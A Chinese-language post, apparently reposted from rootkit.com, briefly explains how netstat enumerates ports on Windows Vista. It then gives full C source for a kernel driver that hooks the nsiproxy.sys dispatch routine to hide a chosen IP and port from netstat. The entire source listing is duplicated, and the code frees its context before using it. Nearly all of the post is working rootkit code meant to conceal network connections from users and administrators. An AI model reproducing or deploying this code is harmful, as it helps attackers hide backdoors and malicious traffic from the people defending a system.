作者:cardmagic
原文链接:http://www.rootkit.com/newsread.php?newsid=735
Windows Vista 的网络模块较从前发生了很大变化,从而导致很多旧的端口隐藏工具无法使用.
本文将介绍一种简单的在Vista下隐藏端口的方法,希望对大家有所帮助.
事实上在Vista下netstat.exe调用Iphlpapi.dll导出的InternalGetTcpTable2函数实现对所有打开端口的列举. InternalGetTcpTable2随后调用由nsi.dll导出的NsiAllocateAndGetTable 函数,nsi.dll则调用NsiEnumerateObjectsAllParametersEx向nsiproxy.sys发送Irp最终转入内核.而nsiproxy.sys又只是对netio.sys的简单封装,它最终调用了netio.sys导出的内核服务例程.
我们将通过使用“挂钩NSI内核模块派遣例程”这样一种比较简单的方法,来演示如何隐藏Vista的指定端口.挂钩派遣例程是一个老话题了,这次我们将他应用于nsiproxy.sys.请注意在钩子中对NSI内容的过虑处理:)
下面是代码(注意:我只在Windows Vista RTM 32bit系统下进行了测试):
/**/
///
// Filename: PortHidDemo_Vista.c
//
// Author: CardMagic(Edward)
// Email: sunmy1@sina.com
// MSN: onlyonejazz at hotmail.com
//
// Description:
// A Demostration Of Hiding
// Specified Port Under Windows Vista RTM 32bit.
// Tested Under Windows Vista Kernel Version 6000 MP (1 procs) Free x86 compatible
//
//
#include " stdlib.h "
#include " ntifs.h "
unsigned short htons(unsigned short hostshort);
unsigned long inet_addr( const char * name);
typedef unsigned long DWORD;
#define LOCALHIDEIP "10.28.157.71"
#define LOCALHIDEPORT 139
#define IOCTL_NSI_GETALLPARAM 0x12001B
extern POBJECT_TYPE * IoDeviceObjectType, * IoDriverObjectType;
PDRIVER_OBJECT pNsiDrvObj = 0 ;
PDRIVER_DISPATCH orgNsiDeviceIoControl = 0 ;
DWORD gLocalPort = 0 ,gLocalIp = 0 ;
typedef struct _HP_CONTEXT
... {
PIO_COMPLETION_ROUTINE oldIocomplete;
PVOID oldCtx;
BOOLEAN bShouldInvolve;
PKPROCESS pcb;
} HP_CONTEXT, * PHP_CONTEXT;
typedef struct _INTERNAL_TCP_TABLE_SUBENTRY
... {
char bytesfill0[2];
USHORT Port;
DWORD dwIP;
char bytesfill[20];
} INTERNAL_TCP_TABLE_SUBENTRY, * PINTERNAL_TCP_TABLE_SUBENTRY;
typedef struct _INTERNAL_TCP_TABLE_ENTRY
... {
INTERNAL_TCP_TABLE_SUBENTRY localEntry;
INTERNAL_TCP_TABLE_SUBENTRY remoteEntry;
} INTERNAL_TCP_TABLE_ENTRY, * PINTERNAL_TCP_TABLE_ENTRY;
typedef struct _NSI_STATUS_ENTRY
... {
char bytesfill[12];
} NSI_STATUS_ENTRY, * PNSI_STATUS_ENTRY;
typedef struct _NSI_PARAM
... {
//
// Total 3CH size
//
DWORD UnknownParam1;
DWORD UnknownParam2;
DWORD UnknownParam3;
DWORD UnknownParam4;
DWORD UnknownParam5;
DWORD UnknownParam6;
PVOID lpMem;
DWORD UnknownParam8;
DWORD UnknownParam9;
DWORD UnknownParam10;
PNSI_STATUS_ENTRY lpStatus;
DWORD UnknownParam12;
DWORD UnknownParam13;
DWORD UnknownParam14;
DWORD TcpConnCount;
} NSI_PARAM, * PNSI_PARAM;
unsigned short htons(unsigned short a)
... {
unsigned short b = a;
b = ( b << 8 );
a = ( a >> 8 );
return ( a | b );
} ;
unsigned long inet_addrt( const char * name)
... {
int i,j,p;
int len = strlen(name);
unsigned long temp_val[4];
char namesec[10] ;
for(i = 0,j =0,p =0;i < len;i++)
...{
memset(namesec,0,10);
if('.' == name[i])
...{
if(p)
strncpy(namesec,name+p+1,i-p);
else
strncpy(namesec,name,i);
temp_val[j] = atoi(namesec);
j++;
p = i;
}
}
strncpy(namesec,name+p+1,i-p);
temp_val[j] = atoi(namesec);
return (temp_val[0]|(temp_val[1]<<8)|(temp_val[2]<<16)|(temp_val[3]<<24));
}
NTSTATUS
HPCompletion(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context
)
... {
PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(Irp);
PIO_STACK_LOCATION irpspNext = IoGetNextIrpStackLocation(Irp);
PHP_CONTEXT pCtx = Context;
PNSI_PARAM nsiParam;
int i;
if(NT_SUCCESS(Irp->IoStatus.Status))
...{
nsiParam = Irp->UserBuffer;
if(MmIsAddressValid(nsiParam->lpMem))
...{
//
// netstat will involve internal calls which will use
// nsiParam structure
//
if( (nsiParam->UnknownParam8 == 0x38))
...{
KAPC_STATE apcstate;
PNSI_STATUS_ENTRY pStatusEntry = (PNSI_STATUS_ENTRY)nsiParam->lpStatus;
PINTERNAL_TCP_TABLE_ENTRY pTcpEntry = (PINTERNAL_TCP_TABLE_ENTRY)nsiParam->lpMem;
int nItemCnt = nsiParam->TcpConnCount;
KeStackAttachProcess(pCtx->pcb,&apcstate);
//
//make sure we are in the context of original process
//
for(i = 0;i < nItemCnt;i ++)
...{
if((pTcpEntry[i].localEntry.dwIP == gLocalIp)&&(pTcpEntry[i].localEntry.Port == gLocalPort))
...{
//
//NSI will map status array entry to tcp table array entry
//we must modify both synchronously
//
RtlCopyMemory(&pTcpEntry[i],&pTcpEntry[i+1],sizeof(INTERNAL_TCP_TABLE_ENTRY)*(nItemCnt-i));
RtlCopyMemory(&pStatusEntry[i],&pStatusEntry[i+1],sizeof(NSI_STATUS_ENTRY)*(nItemCnt-i));
nItemCnt--;
nsiParam->TcpConnCount --;
i--;
}
}
KeUnstackDetachProcess(&apcstate);
}
}
}
irpspNext->Context = pCtx->oldCtx;
irpspNext->CompletionRoutine = pCtx->oldIocomplete;
//
//free the fake context
//
ExFreePool(Context);
if(pCtx->bShouldInvolve)
return irpspNext->CompletionRoutine(DeviceObject,Irp,Context);
else
...{
if (Irp->PendingReturned) ...{
IoMarkIrpPending(Irp);
}
return STATUS_SUCCESS;
}
}
NTSTATUS
ObReferenceObjectByName (
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE AccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID * Object
);
NTSTATUS HPUnload(IN PDRIVER_OBJECT DriverObject)
... {
LARGE_INTEGER waittime;
waittime.QuadPart = -50*1000*1000;
InterlockedExchange(&(pNsiDrvObj->MajorFunction[IRP_MJ_DEVICE_CONTROL]), orgNsiDeviceIoControl);
//
//delay loading driver to make it more secure
//
KeDelayExecutionThread(KernelMode,0,&waittime);
return STATUS_SUCCESS;
}
NTSTATUS HPDummyDeviceIoControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
... {
ULONG ioControlCode;
PIO_STACK_LOCATION irpStack;
ULONG status;
irpStack = IoGetCurrentIrpStackLocation(Irp);
ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
if(IOCTL_NSI_GETALLPARAM == ioControlCode)
...{
if(irpStack->Parameters.DeviceIoControl.InputBufferLength == sizeof(NSI_PARAM))
...{
//
//only care the related I/O
//
PHP_CONTEXT ctx = (HP_CONTEXT*)ExAllocatePool(NonPagedPool,sizeof(HP_CONTEXT));
ctx->oldIocomplete = irpStack->CompletionRoutine;
ctx->oldCtx = irpStack->Context;
irpStack->CompletionRoutine = HPCompletion;
irpStack->Context = ctx;
ctx->pcb = IoGetCurrentProcess();
if((irpStack->Control&SL_INVOKE_ON_SUCCESS) ==SL_INVOKE_ON_SUCCESS)
ctx->bShouldInvolve = TRUE;
else
ctx->bShouldInvolve = FALSE;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;
}
}
//
//call original I/O control routine
//
status = orgNsiDeviceIoControl(DeviceObject,Irp);
return status;
}
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
... {
int i;
NTSTATUS status;
UNICODE_STRING uniNsiDrvName;
#if DBG
_asm int 3 //debug
#endif
DriverObject->DriverUnload = HPUnload;
RtlInitUnicodeString(&uniNsiDrvName,L"/Driver/nsiproxy");
status = ObReferenceObjectByName(&uniNsiDrvName,OBJ_CASE_INSENSITIVE,NULL,0,*IoDriverObjectType,KernelMode,NULL,&pNsiDrvObj);
if(!NT_SUCCESS(status))
...{
return STATUS_SUCCESS;
}
//
//store the original dispatch function of NSI driver
//
orgNsiDeviceIoControl = pNsiDrvObj->MajorFunction[IRP_MJ_DEVICE_CONTROL];
gLocalIp = inet_addrt(LOCALHIDEIP);
gLocalPort = htons(LOCALHIDEPORT);
//
//hook NSI dispatch routine
//
InterlockedExchange(&(pNsiDrvObj->MajorFunction[IRP_MJ_DEVICE_CONTROL]), HPDummyDeviceIoControl);
return STATUS_SUCCESS;
}
// Filename: PortHidDemo_Vista.c
//
// Author: CardMagic(Edward)
// Email: sunmy1@sina.com
// MSN: onlyonejazz at hotmail.com
//
// Description:
// A Demostration Of Hiding
// Specified Port Under Windows Vista RTM 32bit.
// Tested Under Windows Vista Kernel Version 6000 MP (1 procs) Free x86 compatible
//
//
#include " stdlib.h "
#include " ntifs.h "
unsigned short htons(unsigned short hostshort);
unsigned long inet_addr( const char * name);
typedef unsigned long DWORD;
#define LOCALHIDEIP "10.28.157.71"
#define LOCALHIDEPORT 139
#define IOCTL_NSI_GETALLPARAM 0x12001B
extern POBJECT_TYPE * IoDeviceObjectType, * IoDriverObjectType;
PDRIVER_OBJECT pNsiDrvObj = 0 ;
PDRIVER_DISPATCH orgNsiDeviceIoControl = 0 ;
DWORD gLocalPort = 0 ,gLocalIp = 0 ;
typedef struct _HP_CONTEXT
... {
PIO_COMPLETION_ROUTINE oldIocomplete;
PVOID oldCtx;
BOOLEAN bShouldInvolve;
PKPROCESS pcb;
} HP_CONTEXT, * PHP_CONTEXT;
typedef struct _INTERNAL_TCP_TABLE_SUBENTRY
... {
char bytesfill0[2];
USHORT Port;
DWORD dwIP;
char bytesfill[20];
} INTERNAL_TCP_TABLE_SUBENTRY, * PINTERNAL_TCP_TABLE_SUBENTRY;
typedef struct _INTERNAL_TCP_TABLE_ENTRY
... {
INTERNAL_TCP_TABLE_SUBENTRY localEntry;
INTERNAL_TCP_TABLE_SUBENTRY remoteEntry;
} INTERNAL_TCP_TABLE_ENTRY, * PINTERNAL_TCP_TABLE_ENTRY;
typedef struct _NSI_STATUS_ENTRY
... {
char bytesfill[12];
} NSI_STATUS_ENTRY, * PNSI_STATUS_ENTRY;
typedef struct _NSI_PARAM
... {
//
// Total 3CH size
//
DWORD UnknownParam1;
DWORD UnknownParam2;
DWORD UnknownParam3;
DWORD UnknownParam4;
DWORD UnknownParam5;
DWORD UnknownParam6;
PVOID lpMem;
DWORD UnknownParam8;
DWORD UnknownParam9;
DWORD UnknownParam10;
PNSI_STATUS_ENTRY lpStatus;
DWORD UnknownParam12;
DWORD UnknownParam13;
DWORD UnknownParam14;
DWORD TcpConnCount;
} NSI_PARAM, * PNSI_PARAM;
unsigned short htons(unsigned short a)
... {
unsigned short b = a;
b = ( b << 8 );
a = ( a >> 8 );
return ( a | b );
} ;
unsigned long inet_addrt( const char * name)
... {
int i,j,p;
int len = strlen(name);
unsigned long temp_val[4];
char namesec[10] ;
for(i = 0,j =0,p =0;i < len;i++)
...{
memset(namesec,0,10);
if('.' == name[i])
...{
if(p)
strncpy(namesec,name+p+1,i-p);
else
strncpy(namesec,name,i);
temp_val[j] = atoi(namesec);
j++;
p = i;
}
}
strncpy(namesec,name+p+1,i-p);
temp_val[j] = atoi(namesec);
return (temp_val[0]|(temp_val[1]<<8)|(temp_val[2]<<16)|(temp_val[3]<<24));
}
NTSTATUS
HPCompletion(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context
)
... {
PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(Irp);
PIO_STACK_LOCATION irpspNext = IoGetNextIrpStackLocation(Irp);
PHP_CONTEXT pCtx = Context;
PNSI_PARAM nsiParam;
int i;
if(NT_SUCCESS(Irp->IoStatus.Status))
...{
nsiParam = Irp->UserBuffer;
if(MmIsAddressValid(nsiParam->lpMem))
...{
//
// netstat will involve internal calls which will use
// nsiParam structure
//
if( (nsiParam->UnknownParam8 == 0x38))
...{
KAPC_STATE apcstate;
PNSI_STATUS_ENTRY pStatusEntry = (PNSI_STATUS_ENTRY)nsiParam->lpStatus;
PINTERNAL_TCP_TABLE_ENTRY pTcpEntry = (PINTERNAL_TCP_TABLE_ENTRY)nsiParam->lpMem;
int nItemCnt = nsiParam->TcpConnCount;
KeStackAttachProcess(pCtx->pcb,&apcstate);
//
//make sure we are in the context of original process
//
for(i = 0;i < nItemCnt;i ++)
...{
if((pTcpEntry[i].localEntry.dwIP == gLocalIp)&&(pTcpEntry[i].localEntry.Port == gLocalPort))
...{
//
//NSI will map status array entry to tcp table array entry
//we must modify both synchronously
//
RtlCopyMemory(&pTcpEntry[i],&pTcpEntry[i+1],sizeof(INTERNAL_TCP_TABLE_ENTRY)*(nItemCnt-i));
RtlCopyMemory(&pStatusEntry[i],&pStatusEntry[i+1],sizeof(NSI_STATUS_ENTRY)*(nItemCnt-i));
nItemCnt--;
nsiParam->TcpConnCount --;
i--;
}
}
KeUnstackDetachProcess(&apcstate);
}
}
}
irpspNext->Context = pCtx->oldCtx;
irpspNext->CompletionRoutine = pCtx->oldIocomplete;
//
//free the fake context
//
ExFreePool(Context);
if(pCtx->bShouldInvolve)
return irpspNext->CompletionRoutine(DeviceObject,Irp,Context);
else
...{
if (Irp->PendingReturned) ...{
IoMarkIrpPending(Irp);
}
return STATUS_SUCCESS;
}
}
NTSTATUS
ObReferenceObjectByName (
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE AccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID * Object
);
NTSTATUS HPUnload(IN PDRIVER_OBJECT DriverObject)
... {
LARGE_INTEGER waittime;
waittime.QuadPart = -50*1000*1000;
InterlockedExchange(&(pNsiDrvObj->MajorFunction[IRP_MJ_DEVICE_CONTROL]), orgNsiDeviceIoControl);
//
//delay loading driver to make it more secure
//
KeDelayExecutionThread(KernelMode,0,&waittime);
return STATUS_SUCCESS;
}
NTSTATUS HPDummyDeviceIoControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
... {
ULONG ioControlCode;
PIO_STACK_LOCATION irpStack;
ULONG status;
irpStack = IoGetCurrentIrpStackLocation(Irp);
ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
if(IOCTL_NSI_GETALLPARAM == ioControlCode)
...{
if(irpStack->Parameters.DeviceIoControl.InputBufferLength == sizeof(NSI_PARAM))
...{
//
//only care the related I/O
//
PHP_CONTEXT ctx = (HP_CONTEXT*)ExAllocatePool(NonPagedPool,sizeof(HP_CONTEXT));
ctx->oldIocomplete = irpStack->CompletionRoutine;
ctx->oldCtx = irpStack->Context;
irpStack->CompletionRoutine = HPCompletion;
irpStack->Context = ctx;
ctx->pcb = IoGetCurrentProcess();
if((irpStack->Control&SL_INVOKE_ON_SUCCESS) ==SL_INVOKE_ON_SUCCESS)
ctx->bShouldInvolve = TRUE;
else
ctx->bShouldInvolve = FALSE;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;
}
}
//
//call original I/O control routine
//
status = orgNsiDeviceIoControl(DeviceObject,Irp);
return status;
}
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
... {
int i;
NTSTATUS status;
UNICODE_STRING uniNsiDrvName;
#if DBG
_asm int 3 //debug
#endif
DriverObject->DriverUnload = HPUnload;
RtlInitUnicodeString(&uniNsiDrvName,L"/Driver/nsiproxy");
status = ObReferenceObjectByName(&uniNsiDrvName,OBJ_CASE_INSENSITIVE,NULL,0,*IoDriverObjectType,KernelMode,NULL,&pNsiDrvObj);
if(!NT_SUCCESS(status))
...{
return STATUS_SUCCESS;
}
//
//store the original dispatch function of NSI driver
//
orgNsiDeviceIoControl = pNsiDrvObj->MajorFunction[IRP_MJ_DEVICE_CONTROL];
gLocalIp = inet_addrt(LOCALHIDEIP);
gLocalPort = htons(LOCALHIDEPORT);
//
//hook NSI dispatch routine
//
InterlockedExchange(&(pNsiDrvObj->MajorFunction[IRP_MJ_DEVICE_CONTROL]), HPDummyDeviceIoControl);
return STATUS_SUCCESS;
}